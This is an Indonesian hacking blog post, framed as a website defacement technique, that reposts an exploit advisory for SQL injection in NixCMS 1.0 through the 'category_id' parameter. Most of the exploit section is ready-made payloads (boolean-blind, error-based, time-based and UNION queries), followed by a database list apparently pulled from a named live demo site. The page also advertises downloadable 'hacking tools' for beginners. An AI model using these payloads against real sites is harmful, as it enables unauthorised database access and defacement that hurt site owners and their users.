Teknik Deface Metode SQL Injection NixCMS 1.0 - 'category_id'

Teknik Deface Metode SQL Injection NixCMS 1.0 - 'category_id'



# #
# Exploit Title: NixCMS 1.0 - 'category_id' SQL Injection
# Dork: N/A
# Date: 03.02.2018
# Vendor: https://www.nixdesign.de
# Software Link: https://www.nixdesign.de/nix-cms/
# Demo: http://www.jamaram.de/
# Version: 1.0
# Tested on: WiN10_X64
# Exploit Author: Bora Bozdogan
# Author WebSite : http://borabozdogan.net.tr
# Author E-mail : borayazilim45@mit.tc
# Author Skype : borayazilim45
# #
# POC:
#
# http://localhost/[PATH]/single.php?category_id=[SQL]
#
# Parameter: category_id (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: category_id=24' AND 1662=1662 AND 'ZFBe'='ZFBe
#
# Type: error-based
# Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
# Payload: category_id=24' AND (SELECT 3422 FROM(SELECT COUNT(*),CONCAT(0x71706a7171,(SELECT (ELT(3422=3422,1))),0x717a627071,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'CjtO'='CjtO
#
# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
#
# Payload: category_id=24' AND SLEEP(5) AND 'kjea'='kjea
#
# Type: UNION query
# Title: Generic UNION query (NULL) - 15 columns
# Payload: category_id=24' UNION ALL SELECT NULL,CONCAT(0x71706a7171,0x6953455a5149636b5844654f6f6d4e74506c6b73465572725544644e584158745065566267437574,0x717a627071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- wFQF
#
# #

available databases [3]:
[*] information_schema
[*] usr_web24_1
[*] web24_4

Download

Laporkan Jika Link Download Mati ! disini. [ Lapor !! ]
>> Fuck You ! ------------------------ // ~ root@Jack : ~ \\------------------------ Fuck You ! <<
Download Kumpulan Tools Hacking 100% Work
[ DOWNLOAD ] - [ DOWNLOAD ]

Yapss Admin mohon maaf jika ada kesalahan dalam penulisan atau penguploadan, jika ada kesalahan mohon dibenarkan dengan berkomentar di bawah postingan yang salah, berikan saran yang sifatnya membimbing agar blog ini bisa bermanfaat bagi para Newbie di Indonesia tentunya, Jika ingin menyumbangkan Tutornya atau Modulnya silahkan kirimkan ke Email yang sudah saya sediakan, Terimakasih Senpai :*

Greetz : ./Maniak_WiFi

\\ Like, Visit, Follow and Share
>> Facebook          **    Faris Ghaisan Rabbani    >> Twitter          **    @JackTersakiti
>> Instagram          **    /abdur.rozak.mw    >> Youtube        **   Pringsewu Cyber Team
// Why So Serious...

Subscribe to receive free email updates:

0 Response to "Teknik Deface Metode SQL Injection NixCMS 1.0 - 'category_id'"

Posting Komentar

Komentarlah Dengan Baik dan Sopan :p